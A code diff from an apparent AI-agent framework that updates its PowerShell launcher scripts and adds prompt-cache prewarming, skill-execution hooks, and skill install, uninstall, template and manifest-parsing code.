[void][int]::TryParse([string]$raw, [ref]$procId)
if ($procId -le 0) {
Warn "Invalid PID in $pidFile"
exit 1
}
try {
$p = Get-Process -Id $procId -ErrorAction Stop
Write-Host "desktop_running=1" -ForegroundColor Green
Write-Host "pid=$procId"
Write-Host "name=$($p.ProcessName)"
if (Test-Path $outLog) { Write-Host "out_log=$outLog" }
if (Test-Path $errLog) { Write-Host "err_log=$errLog" }
exit 0
} catch {
Warn "desktop process not found: PID=$procId"
exit 1
}

View file

@ -4,18 +4,29 @@ function Write-Step([string]$msg) {
Write-Host "==> $msg" -ForegroundColor Cyan
}
$repoRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
Set-Location $repoRoot
$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSScriptRoot))
$repoParent = Split-Path -Parent $repoRoot
Set-Location $repoParent
$env:PYTHONPATH = $repoParent
$venvPython = Join-Path $repoRoot ".venv/Scripts/python.exe"
if (Test-Path $venvPython) {
$pythonExe = $venvPython
} else {
$pythonExe = "python"
}
Write-Step "Project root: $repoRoot"
Write-Step "Working directory: $repoParent"
Write-Step "Stack status"
python -m oclaw.runtime.operations stack status
& $pythonExe -m oclaw.runtime.operations stack status
Write-Host ""
Write-Step "WeCom status"
python -m oclaw.runtime.operations channel wecom status
& $pythonExe -m oclaw.runtime.operations channel wecom status
Write-Host ""
Write-Host "Admin: http://127.0.0.1:8787/admin"
Write-Host "Chat: http://127.0.0.1:8787/chat"

View file

@ -8,14 +8,24 @@ function Write-Step([string]$msg) {
Write-Host "==> $msg" -ForegroundColor Cyan
}
$repoRoot = Split-Path -Parent (Split-Path -Parent $PSScriptRoot)
Set-Location $repoRoot
$repoRoot = Split-Path -Parent (Split-Path -Parent (Split-Path -Parent $PSScriptRoot))
$repoParent = Split-Path -Parent $repoRoot
Set-Location $repoParent
$env:PYTHONPATH = $repoParent
$venvPython = Join-Path $repoRoot ".venv/Scripts/python.exe"
if (Test-Path $venvPython) {
$pythonExe = $venvPython
} else {
$pythonExe = "python"
}
Write-Step "Project root: $repoRoot"
Write-Step "Working directory: $repoParent"
Write-Step "Stopping stack services..."
try {
python -m oclaw.runtime.operations stack down
& $pythonExe -m oclaw.runtime.operations stack down
Write-Host "Stack stopped." -ForegroundColor Green
} catch {
Write-Host "[WARN] stack down failed: $($_.Exception.Message)" -ForegroundColor Yellow
@ -26,8 +36,9 @@ try {
Write-Step "Current status"
try {
python -m oclaw.runtime.operations stack status
& $pythonExe -m oclaw.runtime.operations stack status
} catch {
Write-Host "[WARN] Unable to read status after stop." -ForegroundColor Yellow
}

View file

@ -51,7 +51,7 @@ class ManagerPlan:
@dataclass(frozen=True)
class SpecialistToolTrace:
"""单条工具调用摘要(专家会话内执行,用于交付给总控的可追溯信息)。"""
"""单条工具调用摘要(专家会话内执行,用于交付给全能者的可追溯信息)。"""
name: str
ok: bool
@ -61,10 +61,10 @@ class SpecialistToolTrace:
@dataclass(frozen=True)
class SpecialistDelivery:
"""
专家 → 总控(Core)的结构化交付。
专家 → 全能者(Core)的结构化交付。
- answer_text:面向用户的专家结论(已结合工具结果,与 output_text 对齐)。
- tool_traces:本步内在专家侧实际执行的工具摘要(非总控直接执行)。
- tool_traces:本步内在专家侧实际执行的工具摘要(非全能者直接执行)。
"""
version: int = 1
@ -76,7 +76,7 @@ class SpecialistDelivery:
def format_specialist_handoff_for_core(res: "SpecialistResult") -> str:
"""将专家结果格式化为总控合并提示中的单步条目(可读 + 明示 handoff 边界)。"""
"""将专家结果格式化为全能者合并提示中的单步条目(可读 + 明示 handoff 边界)。"""
if res.delivery and res.delivery.answer_text.strip():
d = res.delivery
lines = [

View file

@ -10,11 +10,7 @@ from oclaw.platform.config.paths import PROJECT_ROOT
from oclaw.prompts.loader import render_runtime_prompt
_PROJECT_CONTEXT_FILES: tuple[str, ...] = (
"AGENTS.md",
"SOUL.md",
"TOOLS.md",
"IDENTITY.md",
"USER.md",
"HEARTBEAT.md",
"BOOTSTRAP.md",
)
@ -25,9 +21,7 @@ def _project_context_roots() -> tuple[Path, ...]:
raw_ws = str(os.getenv("OCLAW_WORKSPACE") or "").strip()
if raw_ws:
roots.append(Path(raw_ws).expanduser())
roots.append(Path(PROJECT_ROOT) / "oclaw" / "runtime" / "assets" / "agent_workspaces" / "workspace-main")
roots.append(Path(PROJECT_ROOT) / "oclaw" / "workspace-main")
roots.append(Path(PROJECT_ROOT) / "oclaw" / "workspace")
roots.append(Path(PROJECT_ROOT) / "oclaw" / "runtime" / "workspaces" / "main")
roots.append(Path(PROJECT_ROOT))
out: list[Path] = []
seen: set[str] = set()

285
runtime/prompt_prebuild.py Normal file
View file

@ -0,0 +1,285 @@
from __future__ import annotations
import threading
import time
from typing import Any
from oclaw.platform.config.paths import db_path
from oclaw.platform.persistence.sqlite_store import SqliteStore
from oclaw.runtime.agent_context import build_role_system_context
from oclaw.runtime.agents.specialists import discover_specialist_ids
from oclaw.runtime.direct_loop import tool_wire_freeze_status, warm_tool_wire_cache
from oclaw.runtime.system_prompt import get_executor_prompt_static, warm_executor_prompt_cache
from oclaw.runtime.tools.catalog import default_registry
from oclaw.runtime.workspaces.experts import expert_workspace_signature_token, list_experts
_MANAGER_PREBUILD_CACHE_LOCK = threading.Lock()
_MANAGER_PREBUILD_CACHE: dict[tuple[Any, ...], dict[str, Any]] = {}
_RUNTIME_PREWARM_LOCK = threading.Lock()
_RUNTIME_PREWARM_RUNNING = False
_RUNTIME_PREWARM_LAST: dict[str, Any] = {
"ok": False,
"running": False,
"reason": "",
"elapsed_ms": 0,
"started_at_ms": 0,
"finished_at_ms": 0,
"error": "",
}
_RUNTIME_PREWARM_HISTORY: list[dict[str, Any]] = []
_RUNTIME_PREWARM_HISTORY_LIMIT = 40
def _manager_settings_signature(store: Any) -> tuple[str, ...]:
keys = (
"AIA_SKILL_RUNTIME_ENABLED",
"AIA_SKILL_DISABLED_NAMES",
"AIA_SKILL_ROLE_BINDING_ENABLED",
"AIA_SKILL_ROLE_BINDING_MANAGER_INHERIT",
"AIA_CHAT_SPECIALIST_FLAGS_JSON",
)
parts: list[str] = []
for key in keys:
try:
val = str(store.get_setting(key) or "")
except Exception:
val = ""
parts.append(f"{key}={val}")
return tuple(parts)
def _compact_line(text: str, *, limit: int = 80) -> str:
s = " ".join(str(text or "").strip().split())
if len(s) <= limit:
return s
return s[: max(0, limit - 1)] + "…"
def _build_expert_desc_map() -> dict[str, str]:
out: dict[str, str] = {}
for row in list_experts():
eid = str(row.get("id") or "").strip().lower()
if not eid:
continue
files = row.get("files") if isinstance(row, dict) else {}
if not isinstance(files, dict):
continue
desc = _compact_line(str(files.get("ROLE_SYSTEM.md") or ""), limit=80)
if desc:
out[eid] = desc
return out
def get_manager_prompt_prebuild(
*,
store: Any,
registry: Any,
base_url: str,
memory_enabled: bool,
) -> dict[str, Any]:
cache_key = (
str(base_url or "").strip(),
bool(memory_enabled),
expert_workspace_signature_token(),
_manager_settings_signature(store),
)
with _MANAGER_PREBUILD_CACHE_LOCK:
cached = _MANAGER_PREBUILD_CACHE.get(cache_key)
if isinstance(cached, dict):
return dict(cached)
allowed_fixed = [str(x).strip().lower() for x in discover_specialist_ids() if str(x).strip()]
if not allowed_fixed:
allowed_fixed = ["generalist"]
if not memory_enabled:
allowed_fixed = [x for x in allowed_fixed if x != "memory"]
if "generalist" not in allowed_fixed:
allowed_fixed.insert(0, "generalist")
allowed_fixed_quoted = ", ".join([f'"{x}"' for x in allowed_fixed])
desc_by_id = _build_expert_desc_map()
candidate_lines = [f"- {sid}: {desc_by_id.get(sid) or 'no description'}" for sid in allowed_fixed]
dynamic_hint = (
f"\n{chr(10).join(candidate_lines)}\n"
"不要假设固定专家集合。"
)
manager_context = build_role_system_context(
"manager",
template_vars={"MANAGER_DYNAMIC_EXPERTS_HINT": dynamic_hint},
)
out = {
"manager_context": manager_context,
"allowed_fixed": tuple(allowed_fixed),
"allowed_fixed_quoted": allowed_fixed_quoted,
}
with _MANAGER_PREBUILD_CACHE_LOCK:
_MANAGER_PREBUILD_CACHE[cache_key] = dict(out)
if len(_MANAGER_PREBUILD_CACHE) > 64:
_MANAGER_PREBUILD_CACHE.clear()
return out
def warm_startup_prompt_prebuild(*, store: Any, registry: Any, base_url: str, memory_enabled: bool) -> dict[str, Any]:
t0 = time.perf_counter()
manager_pack = get_manager_prompt_prebuild(
store=store,
registry=registry,
base_url=base_url,
memory_enabled=memory_enabled,
)
role_systems: dict[str, str] = {"manager": str(manager_pack.get("manager_context") or "")}
for sid in discover_specialist_ids():
role_systems[str(sid)] = build_role_system_context(str(sid))
role_warm = warm_executor_prompt_cache(
store=store,
tools=registry,
base_url=base_url,
role_base_systems=role_systems,
workspace_dir=None,
)
elapsed_ms = int((time.perf_counter() - t0) * 1000)
return {
"ok": True,
"elapsed_ms": elapsed_ms,
"manager_candidates": int(len(manager_pack.get("allowed_fixed") or [])),
"roles_warmed": int(role_warm.get("roles_warmed") or 0),
}
def run_runtime_prewarm(
*,
reason: str = "manual",
store: Any | None = None,
base_url: str = "",
memory_enabled: bool = True,
) -> dict[str, Any]:
global _RUNTIME_PREWARM_RUNNING, _RUNTIME_PREWARM_LAST, _RUNTIME_PREWARM_HISTORY
with _RUNTIME_PREWARM_LOCK:
if _RUNTIME_PREWARM_RUNNING:
return {
"ok": False,
"running": True,
"error": "prewarm_running",
"reason": str(reason or ""),
"status": dict(_RUNTIME_PREWARM_LAST),
}
_RUNTIME_PREWARM_RUNNING = True
started_at_ms = int(time.time() * 1000)
_RUNTIME_PREWARM_LAST = {
"ok": False,
"running": True,
"reason": str(reason or ""),
"elapsed_ms": 0,
"started_at_ms": started_at_ms,
"finished_at_ms": 0,
"error": "",
}
t0 = time.perf_counter()
own_store = store if store is not None else SqliteStore(db_path())
try:
registry = default_registry(store=own_store)
prompt_stats = warm_startup_prompt_prebuild(
store=own_store,
registry=registry,
base_url=base_url,
memory_enabled=bool(memory_enabled),
)
roles = ["manager", *list(discover_specialist_ids())]
tool_stats = warm_tool_wire_cache(
store=own_store,
tools=registry,
base_url=base_url,
roles=roles,
)
freeze = tool_wire_freeze_status(store=own_store)
out = {
"ok": True,
"running": False,
"reason": str(reason or ""),
"elapsed_ms": int((time.perf_counter() - t0) * 1000),
"started_at_ms": started_at_ms,
"finished_at_ms": int(time.time() * 1000),
"prompt": prompt_stats,
"tools": tool_stats,
"freeze": freeze,
"error": "",
}
except Exception as exc:
out = {
"ok": False,
"running": False,
"reason": str(reason or ""),
"elapsed_ms": int((time.perf_counter() - t0) * 1000),
"started_at_ms": started_at_ms,
"finished_at_ms": int(time.time() * 1000),
"error": str(exc),
}
with _RUNTIME_PREWARM_LOCK:
_RUNTIME_PREWARM_RUNNING = False
_RUNTIME_PREWARM_LAST = dict(out)
_RUNTIME_PREWARM_HISTORY.insert(0, dict(out))
if len(_RUNTIME_PREWARM_HISTORY) > _RUNTIME_PREWARM_HISTORY_LIMIT:
_RUNTIME_PREWARM_HISTORY = _RUNTIME_PREWARM_HISTORY[:_RUNTIME_PREWARM_HISTORY_LIMIT]
return out
def runtime_prewarm_status(*, store: Any | None = None) -> dict[str, Any]:
with _RUNTIME_PREWARM_LOCK:
running = bool(_RUNTIME_PREWARM_RUNNING)
last = dict(_RUNTIME_PREWARM_LAST)
history = [dict(x) for x in _RUNTIME_PREWARM_HISTORY]
freeze = tool_wire_freeze_status(store=store) if store is not None else tool_wire_freeze_status()
return {"ok": True, "running": running, "last": last, "history": history, "freeze": freeze}
def runtime_prewarm_prompts_snapshot(
*,
store: Any | None = None,
role: str | None = None,
base_url: str = "",
memory_enabled: bool = True,
) -> dict[str, Any]:
own_store = store if store is not None else SqliteStore(db_path())
registry = default_registry(store=own_store)
target = str(role or "").strip().lower()
allowed_roles = ["manager", *list(discover_specialist_ids())]
if target and target not in allowed_roles:
return {"ok": False, "error": "invalid_role", "allowed_roles": allowed_roles}
selected_roles = [target] if target else allowed_roles
manager_pack = get_manager_prompt_prebuild(
store=own_store,
registry=registry,
base_url=base_url,
memory_enabled=memory_enabled,
)
prompts: dict[str, dict[str, Any]] = {}
for rid in selected_roles:
base_system = (
str(manager_pack.get("manager_context") or "")
if rid == "manager"
else build_role_system_context(str(rid))
)
executor_system = get_executor_prompt_static(
store=own_store,
tools=registry,
base_url=base_url,
base_system=base_system,
workspace_dir=None,
skill_binding_role=str(rid),
)
# Unified snapshot key for all roles.
item: dict[str, Any] = {
"system_prompt": executor_system,
}
prompts[str(rid)] = item
return {"ok": True, "roles": selected_roles, "prompts": prompts}
__all__ = [
"get_manager_prompt_prebuild",
"run_runtime_prewarm",
"runtime_prewarm_prompts_snapshot",
"runtime_prewarm_status",
"warm_startup_prompt_prebuild",
]

View file

@ -8,6 +8,8 @@ from oclaw.runtime.chat.tool_runtime import (
ToolExecutionContext,
ToolExecutor,
)
from oclaw.runtime.hooks.hook_types import HookEligibilityContext
from oclaw.runtime.hooks_runtime import get_active_hooks_config, initialize_hooks_runtime, trigger_hook_event
from oclaw.runtime.orchestration.trace import new_span_id
from oclaw.platform.llm.chat_models import LLMToolCall
from oclaw.runtime.tools.base import ToolRegistry
@ -23,18 +25,21 @@ class SkillExecutionContext:
specialist: str = "oclaw"
trace_id: str | None = None
parent_span_id: str | None = None
workspace_dir: str | None = None
workspace_owner_session_id: str | None = None
path_policy_tenant_id: str | None = None
path_policy_user_id: str | None = None
run_id: str | None = None
attempt_no: int | None = None
turn_uuid: str | None = None
hook_eligibility: HookEligibilityContext | None = None
class SkillExecutor:
"""Skill-oriented execution bridge.
Phase-1 delegates execution to ToolExecutor while emitting skill_ui events.
Internal hooks: ``skill:before`` and ``skill:after`` (``type:action`` keys).
"""
def __init__(self, *, config: ToolExecutionConfig | None = None):
@ -62,6 +67,47 @@ class SkillExecutor:
except Exception:
pass
@staticmethod
def _hook_base_context(ctx: SkillExecutionContext) -> dict[str, Any]:
out: dict[str, Any] = {
"sessionId": ctx.session_id,
"lang": ctx.lang,
"specialist": ctx.specialist,
"traceId": ctx.trace_id,
"parentSpanId": ctx.parent_span_id,
"runId": ctx.run_id,
"attemptNo": ctx.attempt_no,
"turnUuid": ctx.turn_uuid,
}
ws = str(ctx.workspace_dir or "").strip()
if ws:
out["workspaceDir"] = ws
try:
out["cfg"] = get_active_hooks_config()
except Exception:
out["cfg"] = {}
return out
@staticmethod
def _maybe_init_hooks_for_workspace(ctx: SkillExecutionContext) -> None:
ws = str(ctx.workspace_dir or "").strip()
if not ws:
return
try:
initialize_hooks_runtime(cfg=None, workspace_dir=ws, eligibility=ctx.hook_eligibility)
except Exception:
pass
@staticmethod
def _summarize_result_for_hook(result: Any) -> dict[str, Any]:
if not isinstance(result, dict):
return {"_type": type(result).__name__}
out: dict[str, Any] = {}
for k in ("ok", "error_code", "source_provider", "source_version", "source_kind"):
if k in result:
out[k] = result.get(k)
return out
def execute_skill_uses(
self,
*,
@ -73,6 +119,8 @@ class SkillExecutor:
should_stop: Optional[Callable[[], bool]] = None,
signature_budget: int = 2,
) -> tuple[list[dict[str, Any]], dict[str, tuple[dict[str, Any], int]]]:
self._maybe_init_hooks_for_workspace(ctx)
base_h = self._hook_base_context(ctx)
for su in skill_uses or []:
self._trace(
ctx,
@ -82,6 +130,18 @@ class SkillExecutor:
"skill_call_id": str(getattr(su, "id", "") or ""),
},
)
hctx = {
**base_h,
"skillName": str(getattr(su, "name", "") or ""),
"skillCallId": str(getattr(su, "id", "") or ""),
"arguments": dict(getattr(su, "arguments", {}) or {}),
}
trigger_hook_event(
event_type="skill",
action="before",
session_key=str(ctx.session_id or "unknown"),
context=hctx,
)
def _emit(event: str, payload: dict[str, Any]) -> None:
if on_tool_ui:
@ -126,8 +186,25 @@ class SkillExecutor:
"ok": bool((result or {}).get("ok")) if isinstance(result, dict) else None,
"duration_ms": int(dur or 0),
"error_code": str((result or {}).get("error_code") or "") if isinstance(result, dict) else "",
"source_provider": str((result or {}).get("source_provider") or "") if isinstance(result, dict) else "",
"source_version": str((result or {}).get("source_version") or "") if isinstance(result, dict) else "",
"source_kind": str((result or {}).get("source_kind") or "") if isinstance(result, dict) else "",
},
)
actx = {
**self._hook_base_context(ctx),
"skillName": str(getattr(su, "name", "") or ""),
"skillCallId": str(getattr(su, "id", "") or ""),
"arguments": dict(getattr(su, "arguments", {}) or {}),
"durationMs": int(dur or 0),
"resultSummary": self._summarize_result_for_hook(result),
}
trigger_hook_event(
event_type="skill",
action="after",
session_key=str(ctx.session_id or "unknown"),
context=actx,
)
return tool_messages, results_by_id

View file

@ -11,6 +11,7 @@ from dataclasses import dataclass
from pathlib import Path
from typing import Any
from oclaw.runtime.skills_market import get_market_adapter
from oclaw.runtime.skills import (
default_skills_root,
discover_workspace_skill_manifests,
@ -45,7 +46,7 @@ def _classify_install_detail(detail: str) -> tuple[str, bool]:
return ("invalid_skill_package", False)
if d.startswith("rollback_after_error"):
return ("runtime_error", True)
if d == "installed" or d == "created":
if d in {"installed", "created", "removed"}:
return ("ok", False)
return ("unknown", False)
@ -118,6 +119,32 @@ def set_skill_enabled(*, store: Any, skill_name: str, enabled: bool) -> None:
_set_disabled_names(store, disabled)
def uninstall_skill(
*,
store: Any,
skill_name: str,
skills_root: str | Path | None = None,
) -> SkillInstallResult:
name = str(skill_name or "").strip()
if not name:
ec, rt = _classify_install_detail("name_required")
return SkillInstallResult(ok=False, name="", target_dir="", detail="name_required", error_code=ec, retryable=rt)
root = Path(skills_root).resolve() if skills_root else default_skills_root()
candidates = [root / name, root / "_workspace" / name]
target = next((p for p in candidates if p.exists() and p.is_dir()), None)
if target is None:
ec, rt = _classify_install_detail("not_found")
return SkillInstallResult(ok=False, name=name, target_dir="", detail="not_found", error_code=ec, retryable=rt)
try:
shutil.rmtree(target)
except Exception as exc:
ec, rt = _classify_install_detail("runtime_error")
return SkillInstallResult(ok=False, name=name, target_dir=str(target), detail=f"remove_failed:{type(exc).__name__}", error_code=ec, retryable=rt)
set_skill_enabled(store=store, skill_name=name, enabled=True)
ec, rt = _classify_install_detail("removed")
return SkillInstallResult(ok=True, name=name, target_dir=str(target), detail="removed", error_code=ec, retryable=rt)
def scan_skill_source_dir(src_dir: str | Path) -> tuple[bool, str]:
src = Path(src_dir).resolve()
if not src.exists() or not src.is_dir():
@ -179,17 +206,29 @@ def _resolve_registry_archive_url(url: str) -> str:
segs = [s for s in str(parsed.path or "").split("/") if s]
if not segs:
return raw
# Clawhub page URLs: https://clawhub.ai/<author>/<slug>
# Resolve via clawhub client first (matches test + avoids adapter drift).
try:
if len(segs) >= 2:
from oclaw.runtime.tools.skills.clawhub_client import get_skill_detail
slug = str(segs[-1] or "").strip()
if slug:
detail = get_skill_detail(slug)
archive_url = str((detail or {}).get("archiveUrl") or "").strip()
if archive_url:
return archive_url
except Exception:
pass
candidates: list[str] = []
if len(segs) >= 1:
candidates.append(segs[-1])
if len(segs) >= 2:
candidates.append(f"{segs[0]}/{segs[1]}")
try:
from oclaw.runtime.tools.skills.clawhub_client import get_skill_detail
adapter = get_market_adapter("clawhub")
for slug in candidates:
detail = get_skill_detail(slug)
archive_url = str(detail.get("archiveUrl") or "").strip() if isinstance(detail, dict) else ""
archive_url, _ = adapter.resolve_archive_url(slug=slug, version=None)
if archive_url:
return archive_url
return raw
@ -342,6 +381,68 @@ def create_skill_from_template(
return SkillInstallResult(ok=True, name=nm, target_dir=str(target), detail="created", error_code=ec, retryable=rt)
def create_workspace_skill(
*,
store: Any,
name: str,
description: str,
runtime_type: str = "python",
skills_root: str | Path | None = None,
overwrite: bool = False,
) -> SkillInstallResult:
nm = str(name or "").strip()
if not nm:
ec, rt = _classify_install_detail("name_required")
return SkillInstallResult(ok=False, name="", target_dir="", detail="name_required", error_code=ec, retryable=rt)
rt_type = str(runtime_type or "python").strip().lower()
if rt_type not in {"python", "shell", "node"}:
ec, rt = _classify_install_detail("unsupported_runtime_type")
return SkillInstallResult(ok=False, name=nm, target_dir="", detail="unsupported_runtime_type", error_code=ec, retryable=rt)
root = Path(skills_root).resolve() if skills_root else default_skills_root()
target = root / "_workspace" / nm
if target.exists() and not overwrite:
ec, rt = _classify_install_detail("already_exists")
return SkillInstallResult(ok=False, name=nm, target_dir=str(target), detail="already_exists", error_code=ec, retryable=rt)
target.mkdir(parents=True, exist_ok=True)
scripts_dir = target / "scripts"
scripts_dir.mkdir(parents=True, exist_ok=True)
entry = "scripts/run.py" if rt_type == "python" else ("scripts/run.sh" if rt_type == "shell" else "scripts/run.js")
script_path = target / entry
if rt_type == "python":
script_path.write_text(
"import json\nimport sys\n\n"
"def main():\n"
" data = json.loads(sys.stdin.read() or '{}')\n"
" args = data.get('args') or {}\n"
" print(json.dumps({'ok': True, 'echo': args}, ensure_ascii=False))\n\n"
"if __name__ == '__main__':\n"
" main()\n",
encoding="utf-8",
)
elif rt_type == "shell":
script_path.write_text("#!/usr/bin/env bash\ncat\n", encoding="utf-8")
else:
script_path.write_text("const fs=require('fs'); const input=JSON.parse(fs.readFileSync(0,'utf8')||'{}'); console.log(JSON.stringify({ok:true,echo:input.args||{}}));\n", encoding="utf-8")
metadata_oclaw = {
"source": {"kind": "workspace", "provider": "local", "version": "workspace"},
"runtime": {
"type": rt_type,
"entry": entry,
"schema": {"type": "object", "additionalProperties": True},
"permissions": {"fs_write": False, "net": False, "process": True},
},
}
return create_skill_from_template(
store=store,
name=nm,
description=description,
body_markdown="Workspace authored skill.",
metadata_oclaw=metadata_oclaw,
skills_root=target.parent,
overwrite=True,
)
def auto_install_skill_from_payload(
*,
store: Any,
@ -393,9 +494,11 @@ __all__ = [
"SkillInstallResult",
"auto_install_skill_from_payload",
"create_skill_from_template",
"create_workspace_skill",
"install_skill_from_local_dir",
"install_skill_from_registry_archive",
"list_skills_with_status",
"set_skill_enabled",
"skill_auto_install_enabled",
"uninstall_skill",
]

View file

@ -0,0 +1,137 @@
from __future__ import annotations
import json
from dataclasses import dataclass, field
from typing import Any
@dataclass(frozen=True)
class SkillInstallSpec:
id: str
kind: str
payload: dict[str, Any] = field(default_factory=dict)
@dataclass(frozen=True)
class SkillRuntimeSpec:
type: str
entry: str
schema: dict[str, Any] = field(default_factory=dict)
permissions: dict[str, Any] = field(default_factory=dict)
timeout_s: float | None = None
max_output_bytes: int | None = None
def as_dict(self) -> dict[str, Any]:
out: dict[str, Any] = {"type": self.type, "entry": self.entry}
if self.schema:
out["schema"] = dict(self.schema)
if self.permissions:
out["permissions"] = dict(self.permissions)
if isinstance(self.timeout_s, (int, float)):
out["timeout_s"] = float(self.timeout_s)
if isinstance(self.max_output_bytes, int):
out["max_output_bytes"] = int(self.max_output_bytes)
return out
@dataclass(frozen=True)
class ParsedSkillFrontmatter:
name: str
description: str
user_invocable: bool
disable_model_invocation: bool
metadata_oclaw: dict[str, Any]
install: tuple[SkillInstallSpec, ...]
runtime: SkillRuntimeSpec | None
def normalize_frontmatter(fm: dict[str, Any]) -> dict[str, Any]:
out = dict(fm)
md = out.get("metadata")
if isinstance(md, str) and md.strip():
try:
out["metadata"] = json.loads(md)
except Exception:
out["metadata"] = {}
elif not isinstance(md, dict):
out["metadata"] = {}
for key, default in (("user-invocable", True), ("disable-model-invocation", False)):
val = out.get(key, default)
if isinstance(val, bool):
out[key] = val
else:
out[key] = str(val or str(default)).strip().lower() in {"1", "true", "yes", "on"}
return out
def parse_install_specs(metadata_oclaw: dict[str, Any]) -> tuple[SkillInstallSpec, ...]:
raw = metadata_oclaw.get("install")
if not isinstance(raw, list):
return ()
out: list[SkillInstallSpec] = []
for idx, it in enumerate(raw):
if not isinstance(it, dict):
continue
sid = str(it.get("id") or f"install_{idx + 1}").strip() or f"install_{idx + 1}"
kind = str(it.get("kind") or "").strip().lower()
if not kind:
continue
out.append(SkillInstallSpec(id=sid, kind=kind, payload=dict(it)))
return tuple(out)
def parse_runtime_spec(metadata_oclaw: dict[str, Any]) -> SkillRuntimeSpec | None:
raw = metadata_oclaw.get("runtime")
if not isinstance(raw, dict):
return None
tp = str(raw.get("type") or "").strip().lower()
if tp not in {"shell", "python", "node", "hook"}:
return None
entry = str(raw.get("entry") or "").strip().replace("\\", "/")
if not entry or entry.startswith("/") or ".." in entry.split("/"):
return None
schema = raw.get("schema") if isinstance(raw.get("schema"), dict) else {}
perms = raw.get("permissions") if isinstance(raw.get("permissions"), dict) else {}
timeout_s_raw = raw.get("timeout_s")
timeout_s = float(timeout_s_raw) if isinstance(timeout_s_raw, (int, float)) else None
max_output_raw = raw.get("max_output_bytes")
max_output = int(max_output_raw) if isinstance(max_output_raw, int) else None
return SkillRuntimeSpec(
type=tp,
entry=entry,
schema=dict(schema),
permissions=dict(perms),
timeout_s=timeout_s,
max_output_bytes=max_output,
)
def parse_skill_frontmatter(*, fm: dict[str, Any], default_name: str) -> ParsedSkillFrontmatter:
nfm = normalize_frontmatter(fm)
name = str(nfm.get("name") or default_name).strip() or default_name
desc = str(nfm.get("description") or "").strip() or f"{name} skill"
md = nfm.get("metadata")
md = dict(md) if isinstance(md, dict) else {}
oc = md.get("oclaw")
oc = dict(oc) if isinstance(oc, dict) else {}
return ParsedSkillFrontmatter(
name=name,
description=desc,
user_invocable=bool(nfm.get("user-invocable", True)),
disable_model_invocation=bool(nfm.get("disable-model-invocation", False)),
metadata_oclaw=oc,
install=parse_install_specs(oc),
runtime=parse_runtime_spec(oc),
)
__all__ = [
"SkillInstallSpec",
"SkillRuntimeSpec",
"ParsedSkillFrontmatter",
"normalize_frontmatter",
"parse_install_specs",
"parse_runtime_spec",
"parse_skill_frontmatter",
]

View file

@ -4,10 +4,11 @@ import json
import os
from typing import Any
from oclaw.runtime.agents.specialists import SPECIALISTS
from oclaw.runtime.agents.specialists import discover_specialist_ids
SKILL_ROLE_BINDING_KEY = "skill_role_binding"
SKILL_ROLE_BINDING_ENABLED_SETTING = "AIA_SKILL_ROLE_BINDING_ENABLED"
SKILL_ROLE_BINDING_MANAGER_INHERIT_SETTING = "AIA_SKILL_ROLE_BINDING_MANAGER_INHERIT"
def _truthy(v: str | None) -> bool:
@ -15,7 +16,7 @@ def _truthy(v: str | None) -> bool:
def ordered_specialist_ids() -> list[str]:
base = [str(k).strip().lower() for k in SPECIALISTS.keys() if str(k).strip()]
base = [str(k).strip().lower() for k in discover_specialist_ids() if str(k).strip()]
preferred = [x for x in ("generalist", "ops", "image") if x in set(base)]
return preferred + [x for x in base if x not in set(preferred)]
@ -89,7 +90,16 @@ def allowed_workspace_skill_names_for_role(*, store: Any, role: str) -> set[str]
mapping_raw=load_skill_role_binding_dict(store),
valid_skill_names=_all_installed_skill_names(store),
)
mgr = {str(x).strip() for x in (mapping.get("manager") or []) if str(x).strip()}
try:
raw_env = str(os.getenv(SKILL_ROLE_BINDING_MANAGER_INHERIT_SETTING) or "").strip()
if raw_env:
inherit_mgr = _truthy(raw_env)
else:
raw = str(store.get_setting(SKILL_ROLE_BINDING_MANAGER_INHERIT_SETTING) or "").strip()
inherit_mgr = _truthy(raw) if raw else True
except Exception:
inherit_mgr = True
mgr = {str(x).strip() for x in (mapping.get("manager") or []) if str(x).strip()} if inherit_mgr else set()
sp = {str(x).strip() for x in (mapping.get(r) or []) if str(x).strip()}
return mgr | sp
@ -118,6 +128,7 @@ def should_apply_workspace_role_filter(*, store: Any, skill_binding_role: str |
__all__ = [
"SKILL_ROLE_BINDING_KEY",
"SKILL_ROLE_BINDING_ENABLED_SETTING",
"SKILL_ROLE_BINDING_MANAGER_INHERIT_SETTING",
"allowed_workspace_skill_names_for_role",
"load_skill_role_binding_dict",
"mapping_has_any_skill_names",

View file

@ -10,6 +10,11 @@ from typing import TYPE_CHECKING, Any
from oclaw.platform.config.paths import PROJECT_ROOT
from oclaw.platform.config.runtime_paths import runtime_skills_root
from oclaw.prompts.frontmatter import parse_frontmatter_dict, split_markdown_frontmatter
from oclaw.runtime.skill_manifest_core import (
SkillInstallSpec,
normalize_frontmatter,
parse_skill_frontmatter,
)
if TYPE_CHECKING:
from oclaw.runtime.tools.base import ToolRegistry, ToolSpec
@ -38,13 +43,6 @@ class SkillSpec:
}
@dataclass(frozen=True)
class SkillInstallSpec:
id: str
kind: str
payload: dict[str, Any] = field(default_factory=dict)
@dataclass(frozen=True)
class SkillManifest:
name: str
@ -98,76 +96,12 @@ def default_skills_root() -> Path:
return preferred
def _normalize_skill_manifest_frontmatter(fm: dict[str, Any]) -> dict[str, Any]:
out = dict(fm)
md = out.get("metadata")
if isinstance(md, str) and md.strip():
try:
out["metadata"] = json.loads(md)
except Exception:
out["metadata"] = {}
elif not isinstance(md, dict):
out["metadata"] = {}
u = out.get("user-invocable", True)
if isinstance(u, bool):
out["user-invocable"] = u
else:
uinv = str(u or "true").strip().lower()
out["user-invocable"] = uinv in {"1", "true", "yes", "on"}
d = out.get("disable-model-invocation", False)
if isinstance(d, bool):
out["disable-model-invocation"] = d
else:
dmi = str(d or "false").strip().lower()
out["disable-model-invocation"] = dmi in {"1", "true", "yes", "on"}
return out
def _parse_skill_frontmatter_block(frontmatter_text: str) -> dict[str, Any]:
raw_fm = str(frontmatter_text or "").strip()
if not raw_fm:
return {}
fm = parse_frontmatter_dict(raw_fm, source="skill")
return _normalize_skill_manifest_frontmatter(fm)
def _parse_install_specs(metadata_oclaw: dict[str, Any]) -> tuple[SkillInstallSpec, ...]:
raw = metadata_oclaw.get("install")
if not isinstance(raw, list):
return ()
out: list[SkillInstallSpec] = []
for idx, it in enumerate(raw):
if not isinstance(it, dict):
continue
sid = str(it.get("id") or f"install_{idx + 1}").strip() or f"install_{idx + 1}"
kind = str(it.get("kind") or "").strip().lower()
if not kind:
continue
payload = dict(it)
out.append(SkillInstallSpec(id=sid, kind=kind, payload=payload))
